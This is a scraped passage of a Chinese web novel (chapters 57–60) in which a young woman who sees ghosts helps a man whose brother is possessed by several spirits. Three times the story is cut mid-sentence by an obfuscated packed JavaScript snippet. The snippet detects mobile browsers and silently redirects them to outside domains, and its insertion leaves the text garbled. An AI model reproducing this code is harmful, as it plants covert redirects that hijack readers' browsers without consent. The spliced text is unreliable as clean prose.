高大师来得最早，但他没有单独行动，而是坐在车里等着徐阳、阿依和纪明霜的到来。 等四人一猫到齐之后，才一起上了楼，然而，张大叔并没有待在哥哥家里，而是蹲在哥哥家门口，从他脚下的一堆烟蒂来看，他已经在这里等了很久了。 见高大师率先走上来，他热切地迎了过去，“高大师，你来了啊？” 高大师点点头，“你怎么不进去。” 张大叔给高大师递了根烟，说，“我……我不敢。” 高大师摆手拒绝，“我不抽烟，你这是怎么了？” 张大叔把钥匙拿给了高大师，“这个是我哥的家门钥匙，我……我把我哥反锁在家里了。” “不对啊……”高大师后退了半步，“你不开门，让我开门，这是为什么？” “因为……因为我哥他拿着菜刀，我、我……害怕。” 高大师的表情一言难尽，“哎不是，我也是肉做的，你害怕，难道我就不怕啊，况且你还是他亲弟弟，你让我挡在前面算什么啊……” “但……但是我哥好像不认识我了，虽然他的行为举止有点奇怪，但他现在至少像个人了……” 徐阳从高大师背后探出头来，“这么说来，这也算是件好事吧！” 张大叔点点头，“是啊……总算能给我妈交待了，我跟她说了我哥的事，她稍微放了心，心里敞亮不少，今天中午还多吃了半碗饭呢！” 徐阳：“哎你别说，就是这个道理，人不吃饭可不行，人吃了饭才能好。” 高大师的神情仍然凝重，“这不对啊……” 纪明霜也这么觉得，但她得看看张大叔哥哥的具体情况才能判断。 于是，张大叔走在最前面，他缓缓地打开了门，门被打开之后，一个湿淋淋的人影撞了出来，张大叔一把抱住哥哥，把哥哥推进房间里，众人也跟着走了进去。 进去之后，他才看到，客厅的地板上全是血，特别是卫生间门口的地面上，血流了那么多，连香皂盒都浮了起来。此外，地板上还有密密麻麻的红色手印，他惊叫一声，挺直了身体，差点摔倒在地，但他仍存有些许理智，双手紧紧地抓着哥哥的衣服，“我的天哪……” 张大叔的哥哥奋力挣扎，直接被高大师一拳锤到了脸上，徐阳把张大叔一把推开，又对张大师的哥哥补上一脚，而后才把他赶进了房间里。 门口，探头探脑的楼下邻居双眼发直，他并没有看到客厅里的场景，只看到几个没见过的人，正在痛殴他的邻居，见众人回头看他，他愣愣地指了指天花板，“漏、漏水了。” 张大叔问道，“你确定是水吗？” 邻居说，“应该是吧……等等，不会是什么恶心的脏水吧？” 张大叔说，“应该不是，要不我们先过去看看？” 邻居说，“也、也行，但你们应该不会打我吧……” “怎么可能呢，我又不是那种不讲道理的人。”张大叔又转头对几人介绍道，“这位是我哥楼下的邻居，他人挺好的，前几天，我哥闹出了蛮大的动静，幸亏他比较体谅，也没有多说什么。” 徐阳小声说，“也许是不敢呢……” 阿依说，“我也这么觉得。” 邻居把几人带到了家里，果然，邻居家靠近卫生间位置的天花板上，湿润的痕迹慢慢氤氲开来，墙皮已经浮起来，马上就要掉下去，至于卫生间里，因为防水还做得不错，没并有出现漏水的情况。 而且，楼上漏下来的水是透明的，没有什么奇怪的味道，但楼上流出的水全部都是血红色的。 张大叔赶紧道歉，“对不住，对不住啊……我马上就回去打扫干净，对了，还有赔偿，请放心，我们绝对不会逃避赔偿的！” 邻居点了点头，“好吧……你们先去把楼上的漏水清理一下吧，唉，我们家的屋顶都……” 出来之后，高大师叹了口气，说，“至少能确定，他的情况不是精神疾病，他的身上确实有脏东西。” 徐阳也接话道，“可是，他为什么突然变成这样呢……张大叔，我们离开之后，你是不是做了什么？” 张大叔的回答很诚实，“……我、我又去找了那个神婆。” “你哥哥不是把她给咬了吗？”高大师说。 “是啊，但是我赔钱了啊……她本来也想拒绝的，但是……” 徐阳说：“但是你给的太多了？” “也……也不是非常多吧我觉得。”张大叔说，“再说，这也是为了我老娘啊，我哥要是好不了，那我妈也好不了啊。” 高大师说，“行吧，那她来干了什么？” “倒也没什么，她说我哥体内有外来的灵魂，要做仪式驱逐出去，至于仪式内容，不好意思，我签了保密协议。总之，仪式结束之后，我哥就安静地躺着，不乱爬也不乱叫了……” “那现在又是什么情况？” “她又说，我哥的灵魂不在这里，得想办法把我哥的灵魂找回来……” 纪明霜安静地听着，这位神婆确实有些本事，直到现在都没问题。 不过，就目前的情况而言，大概率找回来的灵魂不是张大叔的哥哥。 至于到底是谁，很有可能是附近的孤魂野鬼。 如果那只狗还在的话，指不定他的哥哥已经恢复正常了呢。 可惜那只狗已经不在了…… 一直站在楼道里也不合适，张大叔拿出钥匙，打开了房门，客厅地上，血迹一样的水渍仍在，湿润的，干涸的，杂乱的，蔓延的。张大叔走进了卫生间里，黑红色的，冷冰冰的，大片大片的血，正从水龙头里不停地往外涌，他硬着头皮关上了水龙头。 张大叔的哥哥已经从房间里跑了出来，此时穿着衣服坐在浴缸中，他拿着花洒，‘嘿嘿’地笑着，见张大叔关了洗手池的水龙头，他不满的用手拍打着浴缸的水面，溅起大片大片的水花。 只是在所有人的眼里，这些水全部都是浓稠的血红色，一大股一大股地从浴缸里溢出来，徐阳说，“我、我想我再也不想吃毛血旺了……” 阿依说：“得了吧你，跟毛血旺有什么关系，不过，我们接下来要怎么办？” 其他人也许看不到，但纪明霜能看到，张大叔的哥哥身上出现了‘灵魂溢出’的现象，而且如果她没看错的话，张大叔的哥哥体内，有着不止一只的鬼魂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427316|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些鬼魂在死亡或者游荡的时候，灵魂已经受到了损耗，所以他们时而迷茫，时而清醒，有的时候还能说出几句话，说实话，他们的破坏力比小狗强多了，他们会用钥匙开门，会打开橱柜拿出菜刀，还有可能做出各种各样的让人无法理解的变态行径。 小狗的灵魂离开之后，张大叔哥哥的身体就像一个恰好适合寄居蟹的海螺壳，所有的寄居蟹，或者说，所有的鬼魂都能住进来。 啊，一间没有门锁的遮风避雨的温暖房子，就差在门口挂上横幅——‘欢迎光临’了。 至于小狗的灵魂嘛，它也并没有被驱逐或者消灭，现在仍在房间里游荡，嗯，明明是小体型的狗，却这么活泼，像小马驹一样快乐地撒欢，甩着又长又大的耳朵跑来跑去，并且时不时发出消防车一样怪叫，作为一只游魂，居然还在拆家，倒是挺自得其乐的。 高大师说，“直说吧，老张，你叫我们过来，是为了干什么？” 徐阳跟着说，“不会是让我们过来帮忙打扫卫生的吧？” 张大叔连忙澄清，“哪能啊，我听说过你们的事，就是，那个，我哥现在虽然像个人了，但他还没有恢复记忆，怎么才能让他慢慢变好呢，我妈最近天天问起我哥的事，我都快招架不住了。” “神婆不管用吗，你怎么不让神婆帮忙？”高大师问道。 “她不愿意，说是没办法……”张大叔说，“她都已经做到了这一步，怎么可能没办法呢，我觉得，她应该还记恨着我哥咬了她一口吧。” “何必以己度人呢……”高大师说，“主要是你哥的事情，太复杂了，之前在电话里，我问你，你也不说，我们什么家伙事儿也没带来，就连鬼都看不到……” “为啥看不到啊……”张大叔问道。 “你以为见鬼是件好事吗，一般的正常人，有鬼也看不见，就是有受伤或者倒霉的时候，偶尔能看到，要是伤好了，或者转运了，就又看不到了。”高大师说，“如果你一直都能看到鬼，那说明你体质特殊，小心点好，如果你突然看到了鬼，那说明你的身体或者运气变差了，指不定已经有鬼骑在你的脖子上了！” 张大叔赶紧摸了摸脖子，“不是，哪有这么玄乎，我觉得吧……” 高大师对张大叔说，“行了，你别觉得了，先跟我出来。” 张大叔跟着高大师往外走，见高大师走出了房门，正往楼下走，张大叔站在原地，“老高，你这是……” 高大师头也不回，招了招手，“别废话，跟上，对了，老张，你在最后，把门关好，知道吗？” 张大叔见徐阳拉着阿依往下走，那个抱着猫的年轻女孩站在楼道的台阶下，静静地看着他，就连那只小黑猫，也用同样的眼神看着他，他只觉得背后发毛，心中悚然。 他长长呼出一口气，又回头看了看家里，把门重重地关上了。 到了楼下，站在阳光下，高大师对他说，“唉，刚才人太多，阳气又太重，我教你一个办法，等凌晨三点到五点的时候，阴气最重，我教你一个手势，到时候，你看看你哥哥是什么样的，然后径直出门去，回家睡觉，等中午十二点的时候，大太阳照在脸上，再给我打电话，知道吗。” 58. 第58章 距离 临别之时，高大师仍不放心，反复叮嘱了两遍，但张大叔的表情仍是怔怔的，高大师放心不下，问徐阳要了纸和笔，给张大叔留了纸条，塞到张大叔的手里，说，“照做就好，明白了吗？” 张大叔缓缓地点了点头。 现在是下午三点，离晚饭还远着呢，阿依开车把纪明霜送回了家。 回到家里，纪明霜换上睡衣，躺在床上，拿起手机，“我今天才工作了两个小时，要是每天都能像今天一样就好了。” 小黑猫卧在纪明霜的旁边，懒洋洋地打着哈欠，“喵……呜。” 纪明霜刷到了小饼的发的动态，是怼脸拍的九张小猫丑照，小饼得意极了，配文是：记录小宝成长，我家小宝实在是太可爱了！ 说实话，小宝确实长得很可爱，但小饼的拍照技术太烂了，拍得好丑。 纪明霜给小饼点了一个赞，就继续看手机了，没想到小饼给她发了消息。 努力工作（小饼）：小纪姐！ 努力工作（小饼）：我家小宝明天要去打疫苗，我记得你家小黑猫明天也要去做外驱吧？ 努力工作（小饼）：你准备几点过去呀？ 努力工作（小饼）：我们一起去吧，我可以开车接送你哦！ 霜（纪明霜）：这样不太好吧…… 霜（纪明霜）：多麻烦你啊。 努力工作（小饼）：没关系，你也知道我家在哪，完全是顺路的事，嘿嘿。 努力工作（小饼）：你只要把时间告诉我就可以哦！ 霜（纪明霜）：啊，这个，其实我也不太确定…… 霜（纪明霜）：最近老板给我安排了临时的工作，没有准确的下班时间。 努力工作（小饼）：小纪姐，你休息日还要上班啊…… 努力工作（小饼）：没关系，我都有时间的，我明天放假哦！ 努力工作（小饼）：你去之前给我发消息就好。 霜（纪明霜）：嗯嗯，谢谢！ 努力工作（小饼）：那个，其实我有话想对你说…… 霜（纪明霜）：咦？ 霜（纪明霜）：是聊天软件里不能说的事吗？ 努力工作（小饼）：也、也不是啦。 努力工作（小饼）：就是不太确定…… 努力工作（小饼）：总之，见一面吧，我会请你喝奶茶哦！ 霜（纪明霜）：好的，谢谢。 霜（纪明霜）：到时候见了。 霜（纪明霜）：/玫瑰/玫瑰/玫瑰 努力工作（小饼）：快乐小狗.jpg 纪明霜放下手机，看到小黑猫正躺在她的枕边，悠闲地舔着爪子，纪明霜摸了摸小猫的头，小猫回头看了她一眼，三秒后，逃跑了。 嗯，这只是真·小黑猫，不是林然猫。 此时，林然正坐在她房间里的椅子上，她在看手机，而他在看她。 一人一鬼的目光相撞，纪明霜慢慢地眨了眨眼，咦，如果仔细观察的话，他双眸的颜色似乎略有区别，这应该算是不太明显的异瞳吧。 林然：“纪明霜，你不看手机，看我做什么？” 纪明霜：“哪有！” 她拿起手机，熄灭屏幕，看着自己的神情，在心里叹了口气。 因为她突然意识到一件事，那就是她和林然之间的‘距离’。 是不是太近了？ 当然，这个距离并不是实际距离，因为林然此时仍和她保持着礼貌的社交距离。 纪明霜其实是一个边界感很重的人，刚刚说的距离，并不全是人际交往之间的安全距离，更应该说是灵魂，或者心灵之间的距离吧。 在医院醒来之后，她就变得有点感情迟钝了，这种迟钝的表现之一就是，对于相对复杂的人际关系，她使用着单核处理的控制程式。 就比如说，在她眼里，如果林然作为‘鬼魂’的属性大于作为‘异性’的属性，那纪明霜就会把他当做前者来看待。 现在回想起来，初次见面之时，他上了她的身，那时，由于情况特殊，林然的‘异性’属性是远远大于作为‘鬼魂’的属性的。 但经过这段时间的相处，在纪明霜的眼里，林然作为‘鬼魂’的属性又大于作为‘异性’的属性，因为他从来没有带给她任何危险的感觉，似乎在潜意识里，他就是安全和值得信任的存在。 所以，他住进了她的房间，晚上睡觉都是在她枕边的洋娃娃里。 虽然他并不睡觉。 不对，这不是重点。 重点是，他和她晚上会睡在一张床上。 这对吗？ 这不对吧！ 但在此时，纪明霜单核处理的控制程式又开始发挥作用，真的是很奇怪啊……无论是‘鬼魂’还是‘异性’，都不是容易建立亲密关系的基础属性，至少对纪明霜来说是这样的。 但在这两种属性都发挥过作用之后，林然还是住进了她的房间里。 纪明霜试图思考。 纪明霜思考失败。 唉。 她点开手机浏览器，打开了收藏的网页，标题是：XYTQ晋级联赛一等奖获得者无缘全国数学邀请赛决赛。 她点开了网页中的图片，这张照片并不算高清，甚至都算不上清晰，但她一眼就能认出他。 照片里，他穿着树莓中学的新版制服，手里拿着一瓶矿泉水，站在树莓中学清逸楼的矮牵牛花坛前，他并没有看镜头，而是看着旁边，正在说着什么。 他一直都很好看，照片里的他，是那样青春，那样有朝气，就好像没有任何烦恼。不知道是因为他太过上镜，还是摄影师拍得太好，那样生动鲜活的瞬间，居然让纪明霜感到心中酸涩。 周可音说过，作为一只鬼，快乐只是短暂的幻觉，而痛苦却是真实存在的。 林然轮回了那么多次，他的痛苦并不会被时间抚平，而是慢慢积累……怪不得初见时，他就像一件易碎的艺术展品，没有行迹，没有归处，只有水中捞月一般的绝望美学。 纪明霜放下手机，闭上双眼。 是的，她已经习惯了他的存在，正因为意识到她心中的感情，所以她才必须要去一趟树莓中学。 也许她想知道的答案，就在那里。 无论如何，她希望他能有一个相对更好的结局。 哪怕是永别，哪怕不再相见…… …… 这时，她收到一条短信，原来是快递到了啊。 她调整了心情，给小黑猫放了猫粮，又去卫生间换了衣服，她一边扎头发，一边问道，“林然，我们今晚吃什么呢？” 林然说，“林荫路新开的那家店，蒜蓉粉丝虾肉羹，蚝油生菜，外加一份米饭，如果想喝饮料的话可以尝尝他家的冰梅乌龙茶。” 纪明霜穿鞋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432656|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动作一顿：“啊？” “怎么，你以为我会说，‘都可以’或者‘随便’？”林然说，“你最近也赚了不少吧，多少也去吃点好的，不用给我买，就在店里吃。” “你真是给我安排得明明白白。”纪明霜提上包包，回头看着正在用餐的小黑猫，“小黑猫，好好看家哦。” 她出门的时候，看到小鬼正蹲在门口，暗蓝的皮肤，发白的瞳孔，但表情呆呆的，纪明霜问道，“怎么，他们派你来踩点？” 小鬼不知道‘踩点’是什么意思，只是安静地吃手，装作无辜的模样。 纪明霜说，“行了，你们进去吧，不过，仅限客厅，不许进我的房间，知道吗。” 于是，小陈哥、女鬼、保安小哥加上小鬼，四只鬼鱼贯而入，围观小黑猫吃饭。 他们最近经常过来看猫，小黑猫都习惯了，连头也不抬一下，纪明霜轻笑一声，关上了房门。 她先去了快递驿站，取了道长寄给她的快递，而后，她给道长打了电话，“喂，道长，我收到那两张新版符箓了，不过，这几个眼药水瓶子里装的是什么啊？” 道长说，“哦，那个啊，是试用的新品药水，抹在眼下，能看到鬼，不过不能经常用，会压低人的阳气。我原本想着，你应该用不到这玩意儿，但你接触的客户也许需要呢，嗯，这些是免费的，因为还在测试，如果还有需要，可以再找我买。” “这样啊，谢谢道长，那符箓的尾款，我现在打给你……” 纪明霜一边说着，一边拧开了其中一个小瓶子，噫，这个味道，真的好难闻啊。 她赶紧把瓶子拧紧。 道长在另一头说，“不用了，有人替你付了。” 纪明霜：“啊？” “你别多问，我和人有约定，这是要保密的。总之，尾款不用打给我，这两张符箓，你不能卖掉，更不能送人，你自己好好地拿着，知道吗？” 纪明霜：“知道了！” “还有，快递盒子里还有一个不起眼的泡沫袋子，那里面是我之前画的几张旧版符箓，如果有人需要，你可以用这些，新版和旧版的符箓，你可千万别搞混了。” “不会的，两种符箓的制作工艺区别还蛮明显的。” “那当然了。”道长在电话那头笑了笑，“这毕竟是我的得意之作，嘿嘿。” “那谢谢道长了！” “不用客气。” 挂断电话之后，纪明霜去了林然推荐的那家餐厅，不顾林然的反对，她打包了两份餐食，又买了四份特色小笼包，回去之后，四只鬼都难得吃到美味的食物，特别是小陈哥，他吃得眼泪汪汪的，“没想到我居然还能吃到小笼包，真好吃……” 女鬼也默默地点头，然后把企图抢食物的小鬼推开。 纪明霜尝了一口虾肉羹，真的很好吃，又鲜又嫩，香气扑鼻。 林然正准备开口，却被纪明霜打断了，“不许说话，安静吃饭。” 林然：“……” 纪明霜喝了一口冰梅乌龙茶，甜味不重，清新爽口，真好喝。 “我都计划好了，吃完晚饭之后，我要看两集电视剧，然后上床睡觉，明天直接睡到中午，高大师说过的，他要请客吃饭，办完事之后，带小黑猫去宠物医院……就这样，明天的工作也结束了。” 然而，人算不如天算，早上六点，纪明霜就接到了徐阳的电话。 59. 第59章 四只 “喂……”纪明霜坐了起来，尽量不让她的声音带着太多的睡意。 电话那头传来阿依的声音，“纪姐，你在睡觉？” 纪明霜：“嗯……很明显吗？” “抱歉，纪姐，这么早就打扰你，但是，出事了！”徐阳说。 纪明霜瞬间清醒了不少，“出了什么事？” 徐阳说，“情况还不确定，我们过去接你，上了车再说吧，纪姐，你先收拾一下，我和阿依大概二十分钟之后就到。” 纪明霜立刻起床洗漱，“嗯嗯。” 临走之时，她不忘给小黑猫准备猫粮，看着小黑猫大吃特吃的可爱模样，纪明霜拎着包包，拿着方婆婆送的洋娃娃，轻轻关上了门。 纪明霜走出公寓大厅，接她的车已在楼下等着了，徐阳和阿依坐在车里，一人捧着一个煎饼，正在埋头苦吃，见纪明霜上车，阿依也适时递来一个煎饼。 纪明霜接过煎饼，道了声谢，小小地咬了一口，嗯，香喷喷，热乎乎的。 徐阳大口大口地咬着煎饼，吃完之后，他拿出水瓶，倒出凉水，洗了洗手。而后他启动车辆，一边开车，一边说着昨晚，嗯，准确地说是今早发生的事。 “还不是因为那个张大叔，我师父说了多少遍，他愣是没听进去啊，五点半的时候，他突然给我师父打来电话……但我师父不在，他女儿过生日，他回隔壁市了。” “到底发生了什么？”纪明霜问道。 徐阳说，“简单地说，他见鬼了，具体地说，嗯……应该从我师父教的那个手势说起吧。” 阿依接着说道，“凌晨三到五点，阴气最重，最近又快入冬了，气温也低，张大叔又只有一个人，在这种情况下，最容易见鬼了，高大师教的手势是这样的……” 阿依一边说着，一边做出动作，伸出双手，右手在前，手心朝内，左手在后，手心朝外，用两只手的中指和食指搭成一个两厘米见方的小孔，需要注意的是，一只手的中指和无名指要放在另一只手的虎口之间，而一只手小拇指则要放在另一只手的食指前面，凌晨三点到五点，透过这个小孔，看看张大叔的哥哥到底是什么情况。 徐阳说，“理论上，让我师父帮忙看看也行，但我们只是过来帮忙，决定权还在张大叔的手里，他应该知道具体的情况……” 阿依说，“你专心开车，让我来说，事情是这样的……” 昨天下午，众人离开之后，张大叔清理了客厅和卫生间地上的水渍，还把水闸关了，然后就去单位上班了。 下班之后，他先是给他哥送饭，看着他哥吃饭，把碗碟清洗干净，又去给他妈妈送饭，给他妈妈喂饭，还做了一些家务。 做完这些之后，他累得不行了，定了个三点的闹钟就睡觉了。但他太困了，一直没醒来，醒来的时候，已经四点半了。 他赶紧穿上衣服，跑着去了他哥家。他进门的时候，他哥躺在客厅的地上，天气这么冷，地都是冰的，他赶紧把他哥拖到了床上，在这个过程中，他哥一直都是醒着的，直勾勾地盯着他，盯得他心里发毛。 而后，他想起了高大师的叮嘱，他就用那个手势，看了他哥哥一眼，他当时看到，他哥哥的周围，足足有三只鬼！ 那些鬼双眼无神，面容灰败，神情冰冷，动作僵硬，缓慢又危险，就像缓慢爬行的蛇，有的骑在他哥哥身上，有的站在他哥哥面前，有的沉进了他哥哥身体里，这里有三只鬼，长相都很陌生，惟独看不到他哥哥的鬼魂。 当时，他面色大变，放下双手，环顾四周，那些鬼都不见了…… 纪明霜说，“阿依，你说得还蛮具体的嘛……” 阿依说，“好吧，我承认确实有一点艺术加工的成分在，不过，大致情况就是这样的。” 徐阳说，“是的，实际情况就跟阿依说的差不多……” 阿依说，“唉……总之，如果他听了高大师的话，现在直接回家睡觉，那我就不用早起了……” 徐阳也打了个哈欠：“是啊……我和阿依昨晚还熬夜看电影了呢，要是早知道，就早点睡了。” 阿依说，“那我继续说吧……” 张大叔当时整个人都傻了，他呆呆地站在原地，连动都不敢动一下，过了一会儿，他缓过劲耿，又摆出那个手势，透过小孔看向他哥，顺便检查了房间，这下，事情就大条了。 房间里不止那三只鬼，墙角还站着第四只鬼，此外，还有一只看起来不太聪明的狗在撒欢。 张大叔看着他们，它们也有所感应，都看向了张大叔，原本安静的房间里，多出了很多原本没有的声音，老人不停干咳的声音，嗓子眼里发出的‘嗬嗬’声，跟卡痰似的，鬼走在地面上的声音，那种声音就像逐渐展开的塑料袋，据说是因为给鬼烧去的衣服是纸做的…… 懂行的人听到这种声音，就会赶紧离开，不会到处乱看的。但张大叔不懂这些，他吓坏了，赶紧往家跑，一边跑，一边看，他原本的阴气就重，还一直不停地看，那些鬼也知道他能看到它们，都跟着他出了门，又跟着他回了家…… 回家之后，更不得了，他妈妈正病着，身体又虚弱，也能看到鬼，而且她动不了，只能看着两只鬼在她面前飘来飘去，吓得她失声痛哭。 张大叔又疑心重，一旦看不到鬼，就怀疑鬼在自己的身边，或者在自己的身后，再或者在自己的身上，所以他就不停地看，不停地照镜子。鬼原本只是远远地跟着他，这下好了，都被他吸引过来，离他越来越近，到后面，他就算不用那个手势，也能看到那些鬼。 他又是个大孝子，不愿离开母亲身边，两个人挤在小床上，害怕得瑟瑟发抖…… 纪明霜都不忍心听了…… 虽然是张大师不听话在先，但这也太惨了吧。 徐阳说，“就是在这种情况下，他给我师父打了电话，我师父说，让他别管那些鬼，就当什么也没看见，直接睡觉，等中午就没事了。但张大叔的情况很不好，他连话都说不清了，我师父也没办法，就给我打了电话，但是我又没出师，让我去也不管用啊，我师父想了想，就让我来找你了……” “高大师还蛮相信我的啊……”纪明霜说。 “可能是因为我师父之前的经历吧……”徐阳说，“说实话，我师父也是个半吊子，比起真的大师，他可差得远了，但他真的是个好人，虽然我也不缺钱，他也给我发工资，所以我就跟着他混了……” “工资？”纪明霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15437347|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捕捉到了关键词，“那个，方便透露吗？” 徐阳倒是很坦诚，随意地说，“也不多吧，就这个数……” 也、不、多、吧。 纪明霜的表情很复杂。 因为徐阳的工资是她的四倍，还不止。 徐阳继续说，“我师父说过，如果真的有什么重大案件，嗯，会有相关部门过来处理的……” 纪明霜说，“哦，这个啊，我也知道。” 阿依：“咦，你们在说什么啊？” 纪明霜说，“物理超度也是超度，火药是至阳之物，克制一切邪祟，比朱砂、生姜、紫苏、艾草、雷击木都强，简单粗暴，但是有效。” “啊？”阿依说，“居然还有这种说法。” 徐阳说，“是啊，所以我们要相信科学。” 纪明霜赞同地点了点头。 阿依：“……” “话题怎么岔开了……”徐阳说，“在很久之前，有一位姓纪的大师，他帮助了很多人，其中包括我师父的同学的哥哥的女朋友，我师父也是受了他的影响，才对这方面感兴趣的。但人家有天赋，又努力，还交到了很有钱的女朋友，估计已经走上人生巅峰了吧……” 阿依说，“怎么，你也想要富二代的女朋友？” 徐阳说，“哪能啊，我最最最最喜欢阿依了。” 阿依：“哼。” 纪明霜：“……喂！” 徐阳有点不好意思笑了笑，他继续说道，“我师父说，他当时就觉得，你和那位纪大师很像，纪姐，你能不能偷偷跟我们说一下，我们保证不说出去，你跟那位纪大师有关系吗，你不会是他的女儿吧？” 纪明霜：“……应该不是。” “真的吗？” 纪明霜：“我爸爸姓林。” 阿依问道，“你是跟你妈妈姓吗？” 纪明霜：“我妈妈也姓林。” 阿依：“不对吧，那你怎么姓纪啊……” 纪明霜说，“我妈妈说，我是跟外公姓的。” 阿依：“……不对，等等，你外公和你妈妈的姓氏也不一样？” “嗯，我妈妈是随母姓的。” “那还真是复杂啊……”徐阳说。 纪明霜点了点头，“更复杂的是，我外公也不姓纪。” 徐阳：“啊？” 阿依：“啊？” 纪明霜肯定地点点头：“嗯。” …… 徐阳的车开得又快又稳，没过多久，就到了目的地。 几人按照张大叔给的地址，到了张大叔的家门口，敲了半天，也没人来开门，徐阳贴着门仔细听，只听到老婆婆低低的哭泣声，他开始用力踹门，完全不顾是否扰民，楼道的声控灯都亮了。 过了一会儿，张大叔弯着腰打开了门，徐阳和阿依都看不到，但纪明霜能看到，张大叔的双肩上搭着两只粗粝的手，他的身后搭着一只鬼，而这只鬼的身后搭着另一只鬼。 就这样，后一只鬼把双手搭在前一只鬼的肩膀上，就像幼儿园里玩游戏的小朋友，而这样的鬼有四只之多。 就现在这个情况，纪明霜觉得，恐怕整个小区的鬼都来到了张大叔的家里。 60. 第60章 试用 徐阳问道，“张大叔，你现在还好吗？” 张大叔睁着双眼，嘴唇微张，而后栽倒在地，后面的四只鬼也一只接一只地摔在张大叔的身上，阿依往后退了一步，虽然她看不到鬼，但能感觉到周围的温度变低了。 徐阳赶紧把张大叔扶起来，“哎不是，张大叔，你是怎么回事，身上怎么又湿又冷，还有一股汗臭味儿。” 张大叔全身都脱力了，他倚靠着徐阳的身体，勉强抬起头来，“现在是说这个的时候吗？” 阿依说，“徐阳，你还愣着干什么，赶紧把他扶进去啊。” 张大叔拒绝的话还没说出口，就被徐阳拖进了房间里，张阿婆正躺在床上，看到有人走进了房间，她的眼睛都变亮了，“救命，救命，快救救我，还有我的儿子！” 很遗憾，张阿婆的方言，徐阳听不太懂，他把张大叔扶到床上，而后摊开双手，闻闻味道，不禁皱起了眉头，“张大叔，借用下卫生间，我先去洗个手……” 张大叔伸手拦他，“等，等一下，先把我和我妈带走，我们马上离开这里。” 纪明霜抱着洋娃娃说，“离开也不管用啊……” “那、那怎么办？” 阿依从提着的购物袋里拿出了两个煎饼，因为有保温袋，煎饼还是热的，“大叔，阿婆，你们还没吃早饭吧？” 张大叔回头看了一眼跟在他身后的四只鬼，四只鬼也呆呆地看着张大叔，张大叔都快哭了，“现在是吃东西的时候吗，你们都不知道我们经历了什么，我还以为我和我妈都活不成了！” 徐阳从卫生间里走出来，他拿出纸巾认真地擦手，“我师父不是跟你说过吗，看完就去睡觉，不要做别的事，结果你看了一遍又一遍，我要是鬼，我也缠着你。” 阿依说，“是啊，今天早上你给高大师打电话的时候，他不是说了嘛，直接去睡觉就行了……结果你还是不听，非要把我们叫来，我现在还困着呢。” 张大叔生气了：“你、你们这是什么态度，人命关天的事，你们能不能负起责任来？” 纪明霜点点头，“对，你就应该这样，你看，你一生起气来，它们也害怕了。” 张大叔回头，那四只鬼已经离开了他的身边，现在站在距离他一米远的地方，依旧是呆呆地盯着他，张大叔顿时气笑了，他指着那四只鬼，“你、你们……” 那四只鬼又退远了些，它们有的看天，有的看地，有的看张大叔脚上的破洞袜子，有的退到墙角面壁思过，张大叔彻底没脾气了，他坐回床上，回头看着张阿婆，用力握着她的手，“妈，别担心，没事了。” 张阿婆的清泪流了下来，“儿，我的儿，妈现在能看到它们，妈是不是活不久了？” 纪明霜从阿依手里拿过煎饼，安慰道，“阿婆，没有的事，等你的伤养好了，你就看不见它们了，阿婆，你能吃辣吗？” 阿婆说，“能。” 张大叔抢过了煎饼，“能个屁，不能！” 阿依递给阿婆另一个煎饼，“阿婆吃吧，这个不辣。” 张大叔把阿婆扶了起来，让她靠在靠枕上，小口地吃着煎饼，张大叔也坐在床边，大口大口地嚼着煎饼，吃着吃着，他低下头来，擦了擦眼睛，“总之，今天谢谢你们……也谢谢高大师，我看了好几遍，他、他都不在那里。” 这个‘他’自然指的是张大叔的哥哥。 徐阳叹了口气，“唉，没想到还是这样的结果。” 张大叔摇了摇头，“我其实记得高大师的叮嘱的，但是我一直没找到他，所以我就一直看，一直看，没想到最后，差点把自己给害了……” 纪明霜说，“倒也不至于，最多只会倒霉几天而已，它们就是这样，你看它们，它们也看你，你害怕它们，它们就黏上来，你呵斥它们，它们反而会害怕，看，已经跑了一只。” 张大叔看了看房间里，那只面壁思过的鬼已经偷偷溜走了，现在房间里只有三只鬼了。 阿依也做了那个手势，她在房间里看了一圈，但什么都看不到，她的神情有些失落，“唉……人一多，这招就不管用了……” 纪明霜问道：“阿依，你很想看到吗？” 张大叔也说，“唉，小姑娘，这有什么好看的啊……” 阿依摇了摇头，“我也不是为了好奇，我……我妈妈去世的时候，我都没见到她最后一面，我没有办法原谅自己，当时真的好痛苦……我尝试了很多办法，但是都不管用，最后才开始了解这方面的知识。我想知道，人有没有灵魂，如果有的话，我迟到了两个小时，她最后见到我了吗……我还想知道，人能不能转世，有没有来生，如果有的话，我下辈子还能成为她的女儿吗……” 徐阳有些动容：“阿依……” 纪明霜说，“两个小时啊……那就能看到的。” 阿依：“嗯，高大师也是这么说的。” 